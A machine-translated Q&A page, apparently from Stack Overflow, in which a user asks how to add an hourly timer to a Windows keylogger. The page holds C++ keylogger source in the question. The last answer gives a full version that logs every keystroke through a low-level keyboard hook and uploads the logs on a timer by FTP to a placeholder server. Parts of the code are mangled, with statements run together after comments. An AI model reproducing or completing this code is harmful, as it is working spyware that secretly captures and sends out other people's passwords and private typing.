Как добавить таймер в кейлоггер Переполнение стека

Что я могу сделать, чтобы таймер в этом кейлоггере отправлял логи каждый час? Я старался Sleep() работают пока циклы, но они, кажется, не работают. Я думал об использовании многопоточности, но я подумал, что должен быть более эффективный метод.

    #define _WIN32_WINNT 0x0500

#include<fstream>
#include<windows.h>
#include<iostream>
//globals
using namespace std;

ofstream out("keys.txt", ios::out);

LRESULT CALLBACK keyboardHookProc(int nCode, WPARAM wParam, LPARAM lParam) {
PKBDLLHOOKSTRUCT p = (PKBDLLHOOKSTRUCT) (lParam);

// If key is being pressed
if (wParam == WM_KEYDOWN) {
switch (p->vkCode) {

// Invisible keys
case VK_LCONTROL:   out << "<LCTRL>";       break;
case VK_RCONTROL:   out << "<RCTRL>";       break;
case VK_INSERT:     out << "<INSERT>";      break;
case VK_END:        out << "<END>";         break;
case VK_PRINT:      out << "<PRINT>";       break;
case VK_DELETE:     out << "<DEL>";         break;
case VK_BACK:       out << "<BK>";          break;

case VK_LEFT:       out << "<LEFT>";        break;
case VK_RIGHT:      out << "<RIGHT>";       break;
case VK_UP:         out << "<UP>";          break;
case VK_DOWN:       out << "<dDOWN>";       break;

case VK_RETURN:     out << "<ENTER>\n";     break;

//add special keys like semicolons

// Visible keys
default:
if (GetKeyState(VK_CAPITAL) && GetAsyncKeyState(VK_SHIFT))  //this should be on top to detect simultanous input first
out << char(tolower(p->vkCode));

else if (GetKeyState(VK_CAPITAL)||GetAsyncKeyState(VK_SHIFT))
out << char(toupper(p->vkCode));
//add capital version of sepecial keys

else
out << char(tolower(p->vkCode));
}
out.flush();    //to immediately flush to txt file
cout<<p<<endl;
}return CallNextHookEx(NULL, nCode, wParam, lParam);
}int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd) {

// Set windows hook

HHOOK keyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL,keyboardHookProc,hInstance,0);

MessageBox(NULL, "Press OK to stop logging.", "Information", MB_OK);

out.close();

return 0;
}

Я использую DEVC ++

0

Решение

Если вы просто хотите время от времени отправлять свои журналы, вы можете легко проверить, сколько времени прошло с момента последнего обновления журнала!

Простой метод

Вам нужно будет хранить все ваши кейлоги между обновлениями файлов. Вы можете легко положить их в вектор.

Так что вместо вывода в ваш файл с out << blahblah добавить символ в ваш вектор с vectorname.push_back(blahblah)

Вам также понадобится переменная времени. Вы можете использовать функцию windows.h GetTickCount для всех ваших потребностей времени.

Когда вызывается ваш хук / обратный вызов клавиатуры (метод, в котором вы используете ваш настоящий код кейлогинга), проверьте, прошел ли час с момента последнего обновления вашего файла журнала, если это был час или дольше, обновите его и установите переменную времени = GetTickCount.

Надеюсь, это поможет!

1

Другие решения

Функция Win32 API SetTimer выполняет функцию каждые x миллисекунд или в любой момент времени.

http://msdn.microsoft.com/en-us/library/windows/desktop/ms644906(v=vs.85).aspx

Следующая консольная программа работает следующим образом: она устанавливает таймер, используя SetTimer
затем зацикливается в цикле сообщений. Цикл сообщений получает и обрабатывает WM_TIMER Сообщения
и обратный вызов таймера также вызывается для каждого временного интервала.

usage_Time_millisec=1000;//1 sec=1000ms  1 min=60*1000ms

Просто поместите материал, который вы хотите сделать, в CALLBACK TimerProc() функция.

#define STRICT 1
#include <windows.h>
#include <iostream.h>
#include <time.h>

unsigned long minutes=0;
int Counter=0;
int usage_Time_millisec=1000;//1 sec=1000ms  1 min=60*1000ms
clock_t timer_start, timer_stop;
MSG Msg;
UINT TimerId;VOID CALLBACK TimerProc(HWND hWnd, UINT nMsg, UINT nIDEvent, DWORD dwTime)
{

//put the stuff you want done in here

cout << "Doing stuff Time: " << dwTime << '\n';cout << abs(timer_start - timer_stop )  <<"   millisecond delay " << endl;
cout << "--------------------------------------------------\n" ;
cout.flush();

}

int main(int argc, char *argv[], char *envp[])
{

usage_Time_millisec=1000;//1 sec=1000ms  1 min=60*1000ms
TimerId  = SetTimer(NULL, 0, usage_Time_millisec, &TimerProc); //bind TimerProc() to SetTimer()

timer_start = clock ();
timer_stop = clock ();

cout << "TimerId: " << TimerId << '\n';

if (!TimerId) return 16;

while (GetMessage(&Msg, NULL, 0, 0))
{

++Counter;
if (Msg.message == WM_TIMER)
{

timer_start = clock ();
//cout << "Doing stuff Counter: " << Counter << "; timer message\n";
}
else
{
timer_stop = clock ();
timer_start = clock ();
//cout << "Doing stuff Counter: " << Counter << "; message: " << Msg.message << '\n';
}
DispatchMessage(&Msg);
}

KillTimer(NULL, TimerId);

return 0;

}
0

я использовал SetTimer() и это работает как шарм.

#define _WIN32_WINNT 0x0500
#include<fstream>
#include<windows.h>

#include<iostream>
#include <time.h>
#include <wininet.h>

using namespace std;
//globals
char date[100]; //must be a global variable
char *datetxt;   //must be a global variable
char *buffer;   //for outputting to new file, if there isnt internet
void namer();  //show nointernet() that namer() exists
void nointernet()
{
std::ifstream    inFile(datetxt);//copy to buffer
inFile >> buffer;
inFile.close();
remove(datetxt);  //delete old name
namer();  //give new name
std::ofstream    outFile(datetxt); //should be here to avoid new and old name mishaps
outFile << buffer;   //enter copied data here

}
void namer()
{
time_t rawtime;
struct tm *timeinfo;
time (&rawtime);
timeinfo = localtime (&rawtime);
strftime(date, 100, "%H%M%d%m%Y%S", timeinfo); //get date
datetxt = strcat(date, ".txt");                 //joins date with a .txt extrention
}

int upload()
{
HINTERNET hInternet = InternetOpen(NULL, INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0); // Initialization for WinInet Functions
if (!hInternet)
{
nointernet(); //if there is no internet, append new log file
}HINTERNET hFtpSession = InternetConnect(hInternet, "ftp.SERVER.com", INTERNET_DEFAULT_FTP_PORT, "USER", "PASS", INTERNET_SERVICE_FTP, INTERNET_FLAG_PASSIVE, 0); // Starts a session in this case an FTP session
if (!hFtpSession)
{
InternetCloseHandle(hInternet);
nointernet();   //if you cant access ftp, append to new log file

}

FtpPutFile(hFtpSession, datetxt, datetxt, FTP_TRANSFER_TYPE_BINARY, 0); // Uploads datetxt file  onto the FTP server as datetxtInternetCloseHandle(hFtpSession); // Close hFtpSession
InternetCloseHandle(hInternet); // Close hInternet
//delete old datetxt
namer();   //give new name
return 0;
}

void CALLBACK repeat(HWND hwnd, UINT uMsg, UINT timerId, DWORD dwTime)
{
upload();  //upload old name and change name}LRESULT CALLBACK keyboardHookProc(int nCode, WPARAM wParam, LPARAM lParam)
{PKBDLLHOOKSTRUCT p = (PKBDLLHOOKSTRUCT) (lParam);
ofstream out(datetxt, ios::app);
// If key is being pressed

if (wParam == WM_KEYDOWN)
{
switch (p->vkCode)
{
// Invisible keys
case VK_LCONTROL:   out << "<LCTRL>";        break;
case VK_RCONTROL:   out << "<RCTRL>";       break;
case VK_INSERT:     out << "<INSERT>";      break;
case VK_END:        out << "<END>";         break;
case VK_PRINT:      out << "<PRINT>";       break;
case VK_DELETE:     out << "<DEL>";         break;
case VK_BACK:       out << "<BK>";          break;

case VK_LEFT:       out << "<LEFT>";        break;
case VK_RIGHT:      out << "<RIGHT>";       break;
case VK_UP:         out << "<UP>";          break;
case VK_DOWN:       out << "<dDOWN>";       break;

case VK_RETURN:     out << "<ENTER>\n";     break;

//add special keys like semicolons

// Visible keys
default:
if (GetKeyState(VK_CAPITAL) && GetAsyncKeyState(VK_SHIFT))  //this should be on top to detect simultanous input first
out << char(tolower(p->vkCode));

else if (GetKeyState(VK_CAPITAL) || GetAsyncKeyState(VK_SHIFT))
out << char(toupper(p->vkCode));
//add capital version of special keys

else
out << char(tolower(p->vkCode));}
out.close();    //to immediately flush to txt file
cout << p << endl;
}

return CallNextHookEx(NULL, nCode, wParam, lParam);}int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)
{
namer();   // for the datetxt name

HHOOK keyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL, keyboardHookProc, hInstance, 0); // Set windows hook

//re-run program here/*************************************************
MSG msg;

SetTimer(NULL, 0, 10000, (TIMERPROC) &repeat);
while (GetMessage(&msg, NULL, 0, 0))
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}
//till here/**********************************************************/
// out.close();
BOOL WINAPI UnhookWindowsHookEx(HHOOK keyboardHook);
return 0;

}
0
По вопросам рекламы [email protected]